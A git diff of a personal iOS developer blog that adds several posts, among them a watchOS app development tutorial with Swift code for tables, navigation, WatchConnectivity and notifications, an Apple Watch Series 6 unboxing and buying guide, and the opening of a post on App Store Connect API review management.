+        let data:[ContactStruct] = [] //api returned data...
+        
+        self.Table.setNumberOfRows(data.count, withRowType: "ContactRow")
+        //If you have multiple ROWs to present, use:
+            //self.Table.setRowTypes(["ContactRow","ContactRow2","ContactRow3"])
+        //
+        for item in data.enumerated() {
+            if let row = self.Table.rowController(at: item.offset) as? ContactRow {
+                row.nameLabel.setText(item.element.name)
+                //assign value to label/image......
+            }
+        }
+        
+        //}
+    }
+    
+    override func didDeactivate() {
+        // This method is called when watch view controller is no longer visible
+        super.didDeactivate()
+        loadData()
+    }
+    
+    //Handle Row selection:
+    override func table(_ table: WKInterfaceTable, didSelectRowAt rowIndex: Int) {
+        guard let row = table.rowController(at: rowIndex) as? ContactRow,let id = row.id else {
+            return
+        }
+        self.pushController(withName: "showDetail", context: id)
+    }
+}
+

The operation of the Table is greatly simplified without delegate/datasource. To set the data, just call setNumberOfRows/setRowTypes to specify the number and type of rows, then use rowController(at:) to set the data content for each row!

The row selection event of the Table only requires overriding func table(_ table: WKInterfaceTable, didSelectRowAt rowIndex: Int) to operate! (Table only has this event)

How to navigate between pages?

First, set the Identifier for the Interface Controller

First, set the Identifier for the Interface Controller

watchKit has two navigation modes:

  1. Similar to iOS UIKit push self.pushController(withName: Interface Controller Identifier, context: Any?)

Push method allows returning from the top left

Push method allows returning from the top left

Return to the previous page same as iOS UIKit: self.pop()

Return to the root page: self.popToRootController()

Open a new page: self.presentController()

  1. Tab display mode WKInterfaceController.reloadRootControllers(withNames: [Interface Controller Identifier], contexts: [Any?])

Or in the Storyboard, on the Interface Controller of the first page, Control+Click and drag to the second page and select “next page”

Tab display mode allows switching pages left and right

Tab display mode allows switching pages left and right

The two navigation methods cannot be mixed.

Passing parameters between pages?

Unlike iOS where you need to use custom delegates or segues to pass parameters, in watchKit, you can pass parameters by placing them in the contexts of the above methods.

Receive parameters in the InterfaceController’s awake(withContext context: Any?)

For example, if I want to navigate from page A to page B and pass an id: Int:

Page A:

1
+
self.pushController(withName: "showDetail", context: 100)
+

Page B:

1
+2
+3
+4
+5
+6
+7
+8
+9
+
override func awake(withContext context: Any?) {
+        super.awake(withContext: context)
+        guard let id = context as? Int else {
+           print("Parameter error!")
+           self.popToRootController()
+           return
+        }
+        // Configure interface objects here.
+}
+

Programmatically controlling components

Compared to iOS UIKit, it is greatly simplified. Those who have developed for iOS should get the hang of it quickly! For example, label becomes setText() p.s. And surprisingly, there is no getText method, you can only use extension variables or store it in external variables

Synchronization/data transfer between iPhone and Apple Watch

If you have developed iOS-related Extensions, you might instinctively use App Groups to share UserDefaults. I was excited to do this initially, but I got stuck for a long time and found that the data never transferred. After checking online, I found that since watchOS 2, this method is no longer supported…

You need to use the new WatchConnectivity method to communicate between the phone and the watch (similar to the socket concept). Both the iOS phone and the watchOS watch need to implement it. We write it in a singleton pattern as follows:

Mobile:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+54
+55
+56
+57
+58
+59
+60
+61
+62
+63
+64
+65
+66
+67
+68
+69
+70
+71
+
import WatchConnectivity
+
+class WatchSessionManager: NSObject, WCSessionDelegate {
+    @available(iOS 9.3, *)
+    func session(_ session: WCSession, activationDidCompleteWith activationState: WCSessionActivationState, error: Error?) {
+        // Mobile session activation completed
+    }
+    
+    func session(_ session: WCSession, didReceiveUserInfo userInfo: [String : Any] = [:]) {
+        // Mobile received UserInfo from the watch
+    }
+    
+    func session(_ session: WCSession, didReceiveMessage message: [String : Any], replyHandler: @escaping ([String : Any]) -> Void) {
+        // Mobile received Message from the watch
+    }
+    
+    // Additionally, didReceiveMessageData and didReceiveFile also handle data received from the watch
+    // Decide which one to use based on your data transfer and reception needs
+    
+    func sendUserInfo() {
+        guard let validSession = self.validSession, validSession.isReachable else {
+            return
+        }
+        
+        if userDefaultsTransfer?.isTransferring == true {
+            userDefaultsTransfer?.cancel()
+        }
+        
+        var list: [String: Any] = [:]
+        // Add UserDefaults to the list...
+        
+        self.userDefaultsTransfer = validSession.transferUserInfo(list)
+    }
+    
+    func sessionReachabilityDidChange(_ session: WCSession) {
+        // Connection status with the watch app changes (when the watch app is opened/closed)
+        sendUserInfo()
+        // When the status changes, if the watch app is opened, sync UserDefaults once
+    }
+    
+    func session(_ session: WCSession, didFinish userInfoTransfer: WCSessionUserInfoTransfer, error: Error?) {
+        // Completed syncing UserDefaults (transferUserInfo)
+    }
+    
+    func sessionDidBecomeInactive(_ session: WCSession) {
+        
+    }
+    
+    func sessionDidDeactivate(_ session: WCSession) {
+        
+    }
+    
+    static let sharedManager = WatchSessionManager()
+    private override init() {
+        super.init()
+    }
+    
+    private let session: WCSession? = WCSession.isSupported() ? WCSession.default : nil
+    private var validSession: WCSession? {
+        if let session = session, session.isPaired && session.isWatchAppInstalled {
+            return session
+        }
+        // Return a valid and connected session with the watch app opened
+        return nil
+    }
+    
+    func startSession() {
+        session?.delegate = self
+        session?.activate()
+    }
+}
+

WatchConnectivity Code for iPhone

Add WatchSessionManager.sharedManager.startSession() in application(_ application: UIApplication, didFinishLaunchingWithOptions launchOptions: [UIApplicationLaunchOptionsKey: Any]?) of iOS/AppDelegate.swift to connect the session after launching the iPhone app.

For Watch:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+
import WatchConnectivity
+
+class WatchSessionManager: NSObject, WCSessionDelegate {
+    func session(_ session: WCSession, activationDidCompleteWith activationState: WCSessionActivationState, error: Error?) {
+    }
+    
+    func sessionReachabilityDidChange(_ session: WCSession) {
+        guard session.isReachable else {
+            return
+        }
+        
+    }
+    
+    func session(_ session: WCSession, didFinish userInfoTransfer: WCSessionUserInfoTransfer, error: Error?) {
+        
+    }
+    
+    func session(_ session: WCSession, didReceiveUserInfo userInfo: [String : Any] = [:]) {
+        DispatchQueue.main.async {
+            //UserDefaults:
+            //print(userInfo)
+        }
+    }
+    
+    static let sharedManager = WatchSessionManager()
+    private override init() {
+        super.init()
+    }
+    
+    private let session: WCSession? = WCSession.isSupported() ? WCSession.default : nil
+    
+    func startSession() {
+        session?.delegate = self
+        session?.activate()
+    }
+}
+
+

WatchConnectivity Code for Watch

Add WatchSessionManager.sharedManager.startSession() in applicationDidFinishLaunching() of WatchOS Extension/ExtensionDelegate.swift to connect the session after launching the Watch app.

WatchConnectivity Data Transfer Methods

To send data: sendMessage, sendMessageData, transferUserInfo, transferFile To receive data: didReceiveMessageData, didReceive, didReceiveMessage The methods for sending and receiving data are the same on both ends.

You can see that data transfer from the watch to the phone works, but data transfer from the phone to the watch is limited to when the watch app is open.

Handling Push Notifications in watchOS

The PushNotificationPayload.apns file in the project directory comes in handy for testing push notifications on the simulator. Deploy the Watch App target on the simulator, and after installation, launching the app will receive a push notification with the content of this file, making it easier for developers to test push notification functionality.

To modify/enable/disable PushNotificationPayload.apns, select the Target and then Edit Scheme

To modify/enable/disable PushNotificationPayload.apns, select the Target and then Edit Scheme.

watchOS Push Notification Handling:

Similar to iOS where we implement UNUserNotificationCenterDelegate, in watchOS we also implement the same methods in watchOS Extension/ExtensionDelegate.swift

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+
import WatchKit
+import UserNotifications
+import WatchConnectivity
+
+class ExtensionDelegate: NSObject, WKExtensionDelegate, UNUserNotificationCenterDelegate {
+
+    func applicationDidFinishLaunching() {
+        
+        WatchSessionManager.sharedManager.startSession() // WatchConnectivity connection mentioned earlier
+      
+        UNUserNotificationCenter.current().delegate = self // Set UNUserNotificationCenter delegate
+        // Perform any final initialization of your application.
+    }
+    
+    func userNotificationCenter(_ center: UNUserNotificationCenter, willPresent notification: UNNotification, withCompletionHandler completionHandler: @escaping (UNNotificationPresentationOptions) -> Void) {
+        completionHandler([.sound, .alert])
+        // Similar to iOS, this approach allows push notifications to be displayed even when the app is in the foreground
+    }
+    
+    func userNotificationCenter(_ center: UNUserNotificationCenter, didReceive response: UNNotificationResponse, withCompletionHandler completionHandler: @escaping () -> Void) {
+        // When the push notification is clicked
+        guard let info = response.notification.request.content.userInfo["aps"] as? NSDictionary, let alert = info["alert"] as? Dictionary<String, String>, let data = info["data"] as? Dictionary<String, String> else {
+            completionHandler()
+            return
+        }
+        
+        // response.actionIdentifier can get the click event Identifier
+        // Default click event: UNNotificationDefaultActionIdentifier
+        
+        if alert["type"] == "new_ask" {
+            WKExtension.shared().rootInterfaceController?.pushController(withName: "showDetail", context: 100)
+            // Get the current root interface controller and push
+        } else {
+           // Other handling...
+           // WKExtension.shared().rootInterfaceController?.presentController(withName: "", context: nil)
+            
+        }
+        
+        completionHandler()
+    }
+}
+

ExtensionDelegate.swift

watchOS Push Notification Display, divided into three types:

  1. static: Default push notification display method

Along with the phone push notification, here the iOS side has implemented UNUserNotificationCenter.setNotificationCategories to add buttons below the notification; Apple Watch will also display them by default

Works with mobile push notifications, here the iOS side has implemented UNUserNotificationCenter.setNotificationCategories to add buttons below the notification; Apple Watch will also display them by default.

  1. dynamic: Dynamically handle push notification display styles (reorganize content, display images)
  2. interactive: Supported on watchOS ≥ 5, adds support buttons on top of dynamic

You can set the push notification handling method in the Static Notification Interface Controller Scene in Interface.storyboard

You can set the push notification handling method in the Static Notification Interface Controller Scene in Interface.storyboard

There’s not much to say about static, it just follows the default display method. Here we first introduce dynamic. After checking “Has Dynamic Interface,” a “Dynamic Interface” will appear where you can design your custom push notification presentation method (Buttons cannot be used):

My custom push notification presentation design

My custom push notification presentation design

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+54
+55
+56
+57
+58
+
import WatchKit
+import Foundation
+import UserNotifications
+
+class NotificationController: WKUserNotificationInterfaceController {
+
+    @IBOutlet var imageView: WKInterfaceImage!
+    @IBOutlet var titleLabel: WKInterfaceLabel!
+    @IBOutlet var contentLabel: WKInterfaceLabel!
+    
+    override init() {
+        // Initialize variables here.
+        super.init()
+        self.setTitle("結婚吧") // Set the title at the top right
+        // Configure interface objects here.
+    }
+
+    override func willActivate() {
+        // This method is called when watch view controller is about to be visible to user
+        super.willActivate()
+    }
+
+    override func didDeactivate() {
+        // This method is called when watch view controller is no longer visible
+        super.didDeactivate()
+    }
+    
+    override func didReceive(_ notification: UNNotification) {
+        
+        if #available(watchOSApplicationExtension 5.0, *) {
+            self.notificationActions = []
+            // Clear the buttons added below the notification by iOS implementation of UNUserNotificationCenter.setNotificationCategories
+        }
+        
+        guard let info = notification.request.content.userInfo["aps"] as? NSDictionary, let alert = info["alert"] as? Dictionary<String, String> else {
+            return
+        }
+        // Push notification information
+        
+        self.titleLabel.setText(alert["title"])
+        self.contentLabel.setText(alert["body"])
+        
+        if #available(watchOSApplicationExtension 5.0, *) {
+            if alert["type"] == "new_msg" {
+              // If it is a new message push notification, add a reply button below the notification
+              self.notificationActions = [UNNotificationAction(identifier: "replyAction", title: "Reply", options: [.foreground])]
+            } else {
+              // Otherwise, add a view button
+              self.notificationActions = [UNNotificationAction(identifier: "openAction", title: "View", options: [.foreground])]
+            }
+        }
+        
+        // This method is called when a notification needs to be presented.
+        // Implement it if you use a dynamic notification interface.
+        // Populate your dynamic notification interface as quickly as possible.
+        
+    }
+}
+

The program part, similarly, drag the outlet to the controller and implement the functionality.

Next, let’s talk about interactive, which is the same as dynamic, but you can add more buttons and control the program with the same class as dynamic; I didn’t use interactive because I added my buttons using self.notificationActions, the difference is as follows:

Left uses interactive, right uses self.notificationActions

Left uses interactive, right uses self.notificationActions

Both methods require watchOS ≥ 5 support.

Using self.notificationActions to add buttons, the button events are handled by userNotificationCenter(_ center: UNUserNotificationCenter, didReceive response: UNNotificationResponse, withCompletionHandler completionHandler: @escaping () -> Void) in ExtensionDelegate, and actions are identified by identifier.

Drag Menu from the component library, then drag Menu Item, and then drag IBAction to the program control

Drag Menu from the component library, then drag Menu Item, and then drag IBAction to the program control

It will appear when you press hard on the page:

Content Input?

Use the built-in presentTextInputController method!

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+
@IBAction func replyBtnClick() {
+    guard let target = target else {
+        return
+    }
+    
+    self.presentTextInputController(withSuggestions: ["I'll reply later", "Thank you", "Feel free to contact me", "Okay", "OK!"], allowedInputMode: WKTextInputMode.plain) { (results) in
+        
+        guard let results = results else {
+            return
+        }
+        // When there is input
+        
+        let txts = results.filter({ (txt) -> Bool in
+            if let txt = txt as? String, txt != "" {
+                return true
+            } else {
+                return false
+            }
+        }).map({ (txt) -> String in
+            return txt as? String ?? ""
+        })
+        // Preprocess input
+        
+        txts.forEach({ (txt) in
+            print(txt)
+        })
+    }
+}
+

Summary

Thank you for reading this! You’ve worked hard!

This concludes the article. It briefly mentioned UI layout, programming, push notifications, and interface applications. For those who have developed iOS, getting started is really quick, almost the same, and many methods have been simplified to make it more concise, but the things you can do have indeed decreased (like currently not knowing how to load more for Table); currently, there are very few things you can do, and I hope the official will open more APIs for developers to use in the future ❤️❤️❤️

MurMur:

Deploying Apple Watch App Target to the watch is really slow — [Narcos](https://www.netflix.com/tw/title/80025172){:target="_blank"}

Deploying Apple Watch App Target to the watch is really slow — Narcos

If you have any questions or feedback, feel free to contact me.

===

本文中文版本

===

This article was first published in Traditional Chinese on Medium ➡️ View Here



This post is licensed under CC BY 4.0 by the author.

Apple Watch Series 4: Comprehensive Review from Unboxing to Mastery

iOS tintAdjustmentMode Property

diff --git a/posts/eab0e984043/index.html b/posts/eab0e984043/index.html new file mode 100644 index 0000000000..21549b3f95 --- /dev/null +++ b/posts/eab0e984043/index.html @@ -0,0 +1 @@ + Apple Watch Series 6 Unboxing & Two-Year Usage Experience | ZhgChgLi
Home Apple Watch Series 6 Unboxing & Two-Year Usage Experience
Post
Cancel

Apple Watch Series 6 Unboxing & Two-Year Usage Experience

Apple Watch Series 6 Unboxing & Two-Year Usage Experience

Apple Watch Series 6 Unboxing and Buying Guide & Two-Year Usage Experience Summary

Preface

Time flies, it’s been two years since the last unboxing article of Apple Watch Series 4; in terms of functionality, Series 4 is more than enough without the need for an upgrade. Series 5/Series 6 don’t have any core breakthrough features, they are nice to have but not necessary.

However, due to the news about Little Ghost, I decided to give my original Series 4 LTE version to my family. The LTE version can make emergency calls without the need for a phone nearby, making it safer compared to the GPS version.

My personal habit is to wear it when going out and take it off to charge when I get home, so I don’t have the sleep experience part.

I bought the LTE version of Series 4, but since I always carry my phone with me, there’s no need to pay an extra $199 monthly fee to activate it. Moreover, replying to messages on the watch is cumbersome, and answering calls requires AirPods for convenience. Additionally, Spotify on the watch is purely a playback controller and cannot play independently from the iPhone (only Apple Music/KKBOX can).

and… I am an iOS APP / watchOS APP developer

[2020–10–24 Update]: Spotify now supports independent playback. In the watch Spotify APP, select the playback device -> Apple Watch -> connect Bluetooth earphones -> and you can play! (Still doesn’t support offline download playback, requires an internet connection to use).

Apple Watch Series 6 Unboxing

Let’s get straight to the main event.

Ordering

This time I chose the GPS 44’mm aluminum version in Cypress Green (military green), matching my iPhone 11 Pro in military green.

I didn’t catch the first batch of purchases, I ordered on the night of 9/15:

  • The system estimated delivery time was 10/16~10/19 (possibly due to the National Day holiday in China)
  • Notified of shipment on 10/10, estimated to receive by 10/13
  • Notified on 10/13 that the delivery date might be slightly delayed due to customs delay
  • Actually received on 10/14, still earlier than the original estimated delivery time!

Unboxing

Apple Watch + RhinoShield Protective Case Set

Apple Watch + RhinoShield Protective Case Set

Flip to the back, unboxing!

Flip to the back, unboxing!

The entire unboxing process doesn’t require a knife, just tear it all the way.

Open!

Open!

One strap and one body.

The packaging thickness of this generation has significantly reduced (no more tofu head)

The packaging thickness of this generation has significantly reduced (no more tofu head)

Body unboxing

Body unboxing

Only includes magnetic charging cable.

Close-up of the device

Close-up of the device

This time, the protective material of the device is made of paper. I remember the previous generation was black velvet.

Unboxing the strap

Unboxing the strap

Assembly!

Assembly!

Back view

Back view

When assembling, you can first install the upper part of the strap and then remove the paper protective cover to avoid slipping.

Apple Watch 6 + iPhone 11 Pro

Apple Watch 6 + iPhone 11 Pro

with Olaf Chicken

with Olaf Chicken

Swimming Ring Chicken

Swimming Ring Chicken

Apple Watch 6 with RhinoShield case

Apple Watch 6 with RhinoShield case

Blood oxygen test

Blood oxygen test

Playing with the main feature of this generation.

Always-on display sleep vs active

Always-on display sleep vs active

It’s great that the screen doesn’t turn off now. No need to raise your wrist and wait for the screen to light up to check messages!

Unboxing ends.

Two years of usage summary

Summarizing the feelings of using it for two years and my own purchasing guide.

Enhancing life experience and increasing focus

Apple Watch serves as an extension of the phone, acting as a buffer between the phone and the person. Currently, our reliance on electronic products is directly facing the phone and the overwhelming notifications.

I don’t know if you feel the same way, but phone notifications can be startling, even the sound of vibrations. Sometimes, receiving a notification makes my heart skip a beat. Then, I instinctively take out my phone to check it, handle important matters, and put the phone away if it’s not important. This process repeats daily…

Although you can turn off sound notifications, disable vibrations in silent mode, or even turn off all notifications, you might miss important messages, leading to another kind of anxiety where you constantly check your phone.

In this situation, Apple Watch can act as a lubricant, adding a filter between the person and the phone. When wearing the watch and the phone is in sleep mode, only the watch will notify you. You can set specific app notifications to be sent to the watch and disable sound/vibration for certain apps.

You might say these settings are similar to the phone, but in terms of experience, the watch’s sound/vibration is gentler and less intrusive. Even if you turn off sound/vibration, you can quickly check for notifications by raising your wrist.

The enhancement in daily experience and increased focus comes from quickly reviewing notifications on the watch and deciding whether to continue the current task or take out the phone to handle the message. The interruption time is very short (just the time to look at the watch), avoiding distractions from constantly taking out the phone and increasing work efficiency.

Healthy living and exercise tracking

Using the exclusive “Fitness” app available only with Apple Watch, you can record your daily life, including daily activity levels, walking, heart rate, and exercise records. It provides detailed health information and statistics on activity levels. Socially, you can compete with friends on activity levels and unlock badges, increasing motivation for exercise.

However, exercise depends on the person. Those who exercise will continue to do so, and those who don’t won’t start just because of the watch. It mainly adds fun and records to the exercise routine.

Apple Pay

You don’t need to take out your phone; just double-click the watch to make a payment, which is very convenient. Especially when your hands are full, and you can’t reach into your pocket to get your phone. You can also install invoice apps that support Apple Watch, open the barcode for the cashier to scan, and then double-click to call out Apple Pay for payment.

My personal habit is to use the phone widget to let the cashier scan the barcode or membership code (like 7-Eleven/FamilyMart, as they don’t provide Apple Watch apps), and then quickly double-click the watch to call out Apple Pay, using the same hand for payment.

Store inside, no receipt needed.

Personal Style Customization

You can change the watch face and strap according to your mood; a few watch faces for work, a few for holidays; bought four straps in the past two years… leather, metal, woven, and even protective case color changes… to match your outfits.

Apple Ecosystem Integration

  1. The watch can directly unlock the Mac computer.
  2. The watch can find the phone with one click (forcing the phone to emit a beep).
  3. The watch can be used as a Bluetooth selfie button to control the phone camera for taking pictures.

Check the Weather

I am very used to checking the current weather conditions and the probability of rain on the watch; it’s clear at a glance. Using the phone, I have to click through several layers to see the information I want.

Alarms and Timers

The countdown timer and alarm are also features I love to use. You can quickly start the countdown timer on the watch, and when the timer or alarm goes off while wearing the watch, it will notify you through the watch (if the watch is on silent mode, it will vibrate to remind you).

I find it very comfortable, especially when I want to take a short nap and am afraid that the alarm sound or phone vibration will disturb other colleagues.

Maps

It’s quite useful when riding a scooter; you can directly view the route map, and get route/turn vibration prompts. However, the downside is that the map is not optimized for scooters, so you need to pay attention to roads where scooters are prohibited. The route planning ability is average.

View route map on the watch

View route map on the watch

Google Maps recently returned to Apple Watch, but you can’t directly view the route map, only text navigation prompts.

Fall Detection

Since everyone is paying a lot of attention to this feature recently, I specifically listed it to share my personal experience. Once, when I was getting on a bus, I quickly and forcefully pushed against the seat with my left hand, successfully triggering the fall detection. The watch will first vibrate continuously and emit a sound to call you, checking if you are conscious. If you don’t respond within 30 seconds, it will call emergency services and notify the set emergency contacts.

Apple Watch Fall Detection Test, calls 119 for rescue in 1 minute.

- Before watchOS 5, fall detection was only enabled by default for those over 65 years old; it was disabled by default for those under 65. You can check the settings for this.

- Multiple emergency contacts can be specified, and need to be set in advance.

For those who have read the previous unboxing article, that article included unboxing, usage instructions, and some app recommendations. Honestly, I later deleted most of them, keeping only the built-in apps and some commonly used communication software. Initially, you might install a bunch of apps out of novelty, but later you won’t use them much.

To be honest, when you need complex operations, you’ll use your phone. The watch is really just for quick access.

Apple Watch Development Over the Past Two Years

As mentioned earlier, the functionality and product positioning of Series 4 and Series 6 have not changed; they are extensions of the iPhone, not replacements. There have been no breakthrough features in the past two years, and the battery life still requires daily charging.

In terms of third-party apps, not many have been added in the past two years, but there is a growing trend. Line and Google Maps have recently updated to enhance their Apple Watch apps, so they haven’t been forgotten.

I previously wrote an article sharing my experience of developing an Apple Watch app based on watchOS 5. You can see that the official features available for development are limited (still about the same now), so third-party developers have limited room to innovate, resulting in fewer apps.

watchOS

Currently updated to watchOS 7, with an annual update cycle like iOS.

watchOS 6: Added environmental noise detection, menstrual cycle tracking (suitable for female users), and walkie-talkie feature.

watchOS 7: Added sleep tracking, handwashing timer assistance, and family sharing features.

watchOS 7 Family Sharing (LTE version only)

I have personally experienced this feature by giving my original Series 4 watch to a family member. You can refer to this unboxing video. This feature binds the watch to your phone, and the watch needs to be nearby to change settings. After completing the setup process, some settings cannot be adjusted without resetting, and the shared family member can only use it, not customize it.

The benefit is that the wearer doesn’t necessarily have to be an iPhone user!

According to official information, this feature is only available for LTE versions of Series 4 and later models!

Buying Guide

Should You Buy It?

I think 80% of the friends who see this are already inclined to buy it; I believe if you are a tech enthusiast, it’s worth buying to play with. If a watch is an accessory for you, you can get a more beautiful one for the same price. If you are buying it solely for sports, there are better sports watches to consider. The Apple Watch is designed for comprehensive needs and enhanced experiences.

  1. The case of Little Ghost actually can’t be avoided even with an Apple Watch. Little Ghost fell when coming out of the bathroom after a shower. The Apple Watch is water-resistant but not steam-resistant. If you often wear the watch while showering, it can easily get damaged. Additionally, since it needs to be charged daily, most people take it off to charge while showering and won’t wear it.
  2. It is still just an extension of the phone, an experimental product from Apple.
  3. Needs to be charged daily, so you have to carry the charger when going out.
  4. When I switched from Series 4 to Series 6, I didn’t wear it for two or three weeks in between, and personally, I didn’t feel much difference.

Series 6 or SE or Second-hand Series 4/5?

The performance is sufficient to last another 3-5 years. If you have the budget, of course, buy new rather than old. For value for money, you can buy the SE. If the budget is limited, you can buy a second-hand Series 4/5/LTE version, which is easier to get.

Apple Watch can only pair with iPhone (Android phones and iPads are not compatible). Also, consider the current iOS version of your phone. watchOS 7 is only compatible with iOS ≥ 14 (watchOS 6 => iOS ≥ 13/watchOS 5 => iOS ≥ 12)

The iPhone must be upgraded to the corresponding minimum iOS version to pair and use.

Series 6 / SE does not come with a charging adapter.

The Family Setup feature of watchOS 7 (which allows you to check the status of children and the health of the elderly) is only available for Series 4 and above or SE versions.

Aluminum or Stainless Steel or Titanium?

Stainless Steel Version (Thanks to a colleague for the support)

Stainless Steel Version (Thanks to a colleague for the support)

It depends on how you position this watch. If it’s for novelty and fun, aluminum is fine. If you want to enhance the accessory attribute, buy the stainless steel or above versions, which are more beautiful and easier to match.

The aluminum version has more demand in the second-hand market, making it easier to sell when a new generation comes out (I could still sell my Series 4 for 7-8 thousand).

The aluminum version’s body and glass are more fragile, and the screen glass is not scratch-resistant. It is recommended to buy a protective case and a full-coverage screen protector.

Protective case (about $400) + screen protector, it is recommended to find a hydrogel or jelly protector (about $800), otherwise, it is easy to encounter fitting problems; the total cost is about +$1500, and the aluminum version can also have complete protection.

Additionally, a lesson learned from experience: if you have a screen protector, you must buy a protective case, otherwise, the edges are easily damaged (I had to replace three protectors because of this, costing nearly $3000). The screen protector must be a good one that fits well, or it will be very difficult to use, which is a waste of money.

HAO Jelly Full-Coverage Glass Screen Protector from Xiao Hao Wrap

HAO Jelly Full-Coverage Glass Screen Protector from Xiao Hao Wrap

Fully transparent & fully adhesive, does not affect smooth sliding and display.

RhinoShield + Screen Protector

RhinoShield + Screen Protector

The screen will become slightly thicker, so the inner frame may float a bit (depending on the tolerance of the protective case), but the clips still fit in.

Xiao Hao Wrap suggests not to use the inner frame of RhinoShield as it may easily press against the screen protector, just use the outer frame. However, my Series 4 has been in this state for two years without any issues, so you can decide for yourself.

40mm or 44mm?

It depends on the thickness of your wrist. Generally, men are recommended to wear 44mm, as 40mm might look a bit odd.

If you are buying aluminum + protective case, consider whether the size with the protective case will be too large.

GPS or LTE Cellular Version?

Considering that I didn’t use LTE much before, I opted for the GPS version this time, saving $3000.

The consideration between GPS or LTE is not only whether you will have scenarios where you only wear the watch out, but also the fall detection alarm function that everyone cares about recently. The GPS version only works if the phone is nearby or the watch can connect to the current network environment WiFi, allowing the watch to connect to the phone for emergency alarms (if these conditions are not met, it cannot notify for an alarm); the LTE version can operate independently, making it relatively safer. Communication between the phone and the watch is the same; the GPS version or non-activated LTE version communicates through the phone being nearby, or the watch being able to connect to the current network environment WiFi.

The watch being able to connect to the current network environment WiFi means that the phone and watch have previously connected to this WiFi, and the system has a record to connect directly.

watchOS 7’s Family Setup feature (can check children’s whereabouts, elderly health status) is only available on the LTE version because the watch’s data is sent back to the setup person (parent) rather than the wearer’s phone.

Watch Bands

Watch bands are only categorized as:

  • Large: 42 (Apple Watch 3 and below) / 44 (Apple Watch 4 and above)
  • Small: 38 (Apple Watch 3 and below) / 40 (Apple Watch 4 and above)

And Apple guarantees that the band sizes will not change (otherwise, who would buy the Hermès version XD). At least for now, bands from generations 1 to 6 are interchangeable.

[**Unboxing of the Apple Watch Original Stainless Steel Milanese Loop**](../c0f99f987d9c/)

Unboxing of the Apple Watch Original Stainless Steel Milanese Loop

Standard / Nike / Hermès Editions

The Nike edition only has an exclusive Nike watch face, while the Hermès edition not only has an exclusive Hermès watch face but also comes with a Hermès band paired with the stainless steel version.

Upgrade Guide

If you currently have a Series 3/Series 2/Series 1, it is recommended to upgrade, at least to Series 4; starting from Series 4, the screen becomes full-screen (many new watch faces require Series 4 or above), the processor performance is much better and almost never lags, making the upgrade noticeable.

Series 4 can be upgraded or not, as the main differences are the always-on display and the blood oxygen sensor. The Apple Watch’s raise-to-wake display is fast and responsive enough, and while the always-on display is better, it’s not a must-have; the blood oxygen sensor is not medically certified and is for reference only.

If you already have a Series 5, you can wait for the next generation, as there is no need to upgrade.

For a detailed comparison, refer to the official website’s Compare All Models, which also highlights some minor functional differences, such as the altimeter, compass, etc.

[Apple Official Website](https://www.apple.com/tw/watch/compare/){:target="_blank"}

Apple Official Website

Further Reading

If you have any questions or comments, feel free to contact me.

===

本文中文版本

===

This article was first published in Traditional Chinese on Medium ➡️ View Here



This post is licensed under CC BY 4.0 by the author.

Write Run Script Directly in Swift with Xcode!

Apple Watch Original Stainless Steel Milanese Loop Unboxing

diff --git a/posts/ee47f8f1e2d2/index.html b/posts/ee47f8f1e2d2/index.html new file mode 100644 index 0000000000..1f00d785c1 --- /dev/null +++ b/posts/ee47f8f1e2d2/index.html @@ -0,0 +1 @@ + AVPlayer Real-time Cache Implementation | ZhgChgLi
Home AVPlayer Real-time Cache Implementation
Post
Cancel

AVPlayer Real-time Cache Implementation

[Old] AVPlayer Real-time Cache Implementation

Understanding the implementation of AVPlayer/AVQueuePlayer with AVURLAsset using AVAssetResourceLoaderDelegate

[2021–01–31] Article Announcement: Article Revision Completed

First, I would like to deeply apologize to all the friends who have read the original article. Due to my recklessness in publishing the article without thorough research, some content was incorrect, wasting your precious time.

I have now restructured the entire context from scratch and rewritten the article. It includes a complete project program for everyone’s reference. Thank you!

Changes: About 30%

New Content: About 60%

Complete Guide to Implementing Local Cache with AVPlayer Click Here to View

===

本文中文版本

===

This article was first published in Traditional Chinese on Medium ➡️ View Here



This post is licensed under CC BY 4.0 by the author.

iOS APP Version Numbers Explained

Comprehensive Guide to Implementing Local Cache with AVPlayer

diff --git a/posts/f1365e51902c/index.html b/posts/f1365e51902c/index.html new file mode 100644 index 0000000000..fbd9106dd0 --- /dev/null +++ b/posts/f1365e51902c/index.html @@ -0,0 +1,63 @@ + App Store Connect API Now Supports Reading and Managing Customer Reviews | ZhgChgLi
Home App Store Connect API Now Supports Reading and Managing Customer Reviews
Post
Cancel

App Store Connect API Now Supports Reading and Managing Customer Reviews

App Store Connect API Now Supports Reading and Managing Customer Reviews

App Store Connect API 2.0+ comprehensive update, supports In-app purchases, Subscriptions, Customer Reviews management

2022/07/19 News

[Upcoming transition from the XML feed to the App Store Connect API](https://developer.apple.com/news/?id=yqf4kgwb){:target="_blank"}

Upcoming transition from the XML feed to the App Store Connect API

This morning, I received the latest news from Apple developers, announcing that the App Store Connect API now supports three new features: In-app purchases, Subscriptions, and Customer Reviews management. This allows developers to more flexibly integrate Apple’s development process with CI/CD or business backends more closely and efficiently!

I haven’t touched In-app purchases or Subscriptions, but Customer Reviews excites me. I previously published an article titled “AppStore APP’s Reviews Slack Bot” discussing ways to integrate App reviews with workflow.

Slack Review Bot — [ZReviewsBot](https://github.com/ZhgChgLi/ZReviewsBot){:target="_blank"}

Slack Review Bot — ZReviewsBot

Before the App Store Connect API supported this, there were only two ways to get iOS App reviews:

